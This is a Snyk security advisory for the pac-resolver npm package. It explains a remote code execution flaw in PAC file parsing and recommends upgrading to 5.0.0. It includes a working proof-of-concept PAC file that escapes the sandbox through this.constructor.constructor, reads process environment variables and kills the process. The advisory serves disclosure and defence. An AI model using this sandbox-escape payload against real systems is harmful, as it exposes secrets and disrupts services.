Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade pac-resolver
to version 5.0.0 or higher.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.
In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.
NOTE: The fix for this vulnerability is applied in the node-degenerator
library, a dependency is written by the same maintainer.
const pac = require('pac-resolver');
// Should keep running forever (if not vulnerable): setInterval(() => { console.log("Still running"); }, 1000);
// Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac(` // Real PAC config: function FindProxyForURL(url, host) { return "DIRECT"; }
// But also run arbitrary code: var f = this.constructor.constructor(\` // Running outside the sandbox: console.log('Read env vars:', process.env); console.log('!!! PAC file is running arbitrary code !!!'); console.log('Can read & could exfiltrate env vars ^'); console.log('Can kill parsing process, like so:'); process.exit(100); // Kill the vulnerable process // etc etc \`); f();